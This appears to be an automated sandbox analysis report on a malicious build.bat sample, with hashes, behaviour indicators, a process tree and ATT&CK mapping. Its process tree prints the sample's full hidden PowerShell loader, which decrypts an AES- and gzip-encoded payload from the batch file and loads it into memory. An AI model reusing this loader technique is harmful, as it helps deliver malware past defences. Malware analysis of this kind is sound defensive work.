6377476be087b6911f24f93a601fd8f46461f52815ec27f95371c8418c385377

General

Target

build.bat
Size

14.0MB
MD5

ef8beb81c6fa2aaad4a314be361292ce
SHA1

7b7296096931ac5d62081cc91ead8afd2346e0c7
SHA256

6377476be087b6911f24f93a601fd8f46461f52815ec27f95371c8418c385377
SHA512

8ffa18e66e4e8a3a23eb7c2375fa6b25aab90da3265f35d56ea9965f8d2c89a988052bbd0e05c0b3b3c124cb5e9f47b0b6ab5ea0df3b880d449fd3ff2a25767f
SSDEEP

49152:Lhha5TtF7ZXKxZvLjnrt64H1eGHrWT7xdJ11ar07nqcBIL/ULWorCWmZ9vXEdQm/:E

Score

7^/10

Malware Config

Signatures

Executes dropped EXE 1 IoCs

pid	Process
2948	build.bat.exe

Loads dropped DLL 1 IoCs

pid	Process
2384	cmd.exe

Drops file in Windows directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\$sxr-seroxen2\$sxr-Uni.bat	cmd.exe
File created	C:\Windows\$sxr-seroxen2\$sxr-Uni.bat	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2948	build.bat.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2948	build.bat.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 2384 wrote to memory of 1288	2384	cmd.exe	29
PID 2384 wrote to memory of 1288	2384	cmd.exe	29
PID 2384 wrote to memory of 1288	2384	cmd.exe	29
PID 1288 wrote to memory of 268	1288	net.exe	30
PID 1288 wrote to memory of 268	1288	net.exe	30
PID 1288 wrote to memory of 268	1288	net.exe	30
PID 2384 wrote to memory of 2948	2384	cmd.exe	31
PID 2384 wrote to memory of 2948	2384	cmd.exe	31
PID 2384 wrote to memory of 2948	2384	cmd.exe	31

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\build.bat"
1⤵
- Loads dropped DLL
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
PID:2384
- C:\Windows\system32\net.exe
  net session
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1288
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 session
    3⤵
    PID:268
- C:\Users\Admin\AppData\Local\Temp\build.bat.exe
  "build.bat.exe" -noprofile -windowstyle hidden -ep bypass -command function iwkhR($DITIA){ $XVnki=[System.Security.Cryptography.Aes]::Create(); $XVnki.Mode=[System.Security.Cryptography.CipherMode]::CBC; $XVnki.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $XVnki.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('v8ehdS6ppW71xL6mDjAeXsyQHYKmv0CPtd6Kn4aXzt4='); $XVnki.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('hx3HwApb8t08fxY/Go7cSw=='); $LrZFK=$XVnki.CreateDecryptor(); $return_var=$LrZFK.TransformFinalBlock($DITIA, 0, $DITIA.Length); $LrZFK.Dispose(); $XVnki.Dispose(); $return_var;}function kOuIB($DITIA){ $DbpkU=New-Object System.IO.MemoryStream(,$DITIA); $qZtjl=New-Object System.IO.MemoryStream; $JMgSB=New-Object System.IO.Compression.GZipStream($DbpkU, [IO.Compression.CompressionMode]::Decompress); $JMgSB.CopyTo($qZtjl); $JMgSB.Dispose(); $DbpkU.Dispose(); $qZtjl.Dispose(); $qZtjl.ToArray();}function ZkZVP($DITIA,$AoxAJ){ $HLgZK=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$DITIA); $UXpIZ=$HLgZK.EntryPoint; $UXpIZ.Invoke($null, $AoxAJ);}$zVdRm=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\build.bat').Split([Environment]::NewLine);foreach ($BYfmw in $zVdRm) { if ($BYfmw.StartsWith(':: ')) { $Rndkm=$BYfmw.Substring(3); break; }}$FMGlq=[string[]]$Rndkm.Split('\');$IgKIL=kOuIB (iwkhR ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($FMGlq[0])));$voFjb=kOuIB (iwkhR ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($FMGlq[1])));ZkZVP $voFjb (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));ZkZVP $IgKIL (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2948

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\build.bat.exe

Filesize
462KB

MD5
852d67a27e454bd389fa7f02a8cbe23f

SHA1
5330fedad485e0e4c23b2abe1075a1f984fde9fc

SHA256
a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8

SHA512
327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d

Download Submit
memory/2948-7-0x000007FEF5ACE000-0x000007FEF5ACF000-memory.dmp

Filesize
4KB

Download
memory/2948-8-0x000000001B560000-0x000000001B842000-memory.dmp

Filesize
2.9MB

Download
memory/2948-9-0x0000000001D90000-0x0000000001D98000-memory.dmp

Filesize
32KB

Download
memory/2948-10-0x000007FEF5810000-0x000007FEF61AD000-memory.dmp

Filesize
9.6MB

Download
memory/2948-11-0x000007FEF5810000-0x000007FEF61AD000-memory.dmp

Filesize
9.6MB

Download
memory/2948-12-0x000007FEF5810000-0x000007FEF61AD000-memory.dmp

Filesize
9.6MB

Download
memory/2948-13-0x000007FEF5810000-0x000007FEF61AD000-memory.dmp

Filesize
9.6MB

Download
memory/2948-15-0x000007FEF5810000-0x000007FEF61AD000-memory.dmp

Filesize
9.6MB

Download
memory/2948-14-0x000007FEF5810000-0x000007FEF61AD000-memory.dmp

Filesize
9.6MB

Download

Analysis

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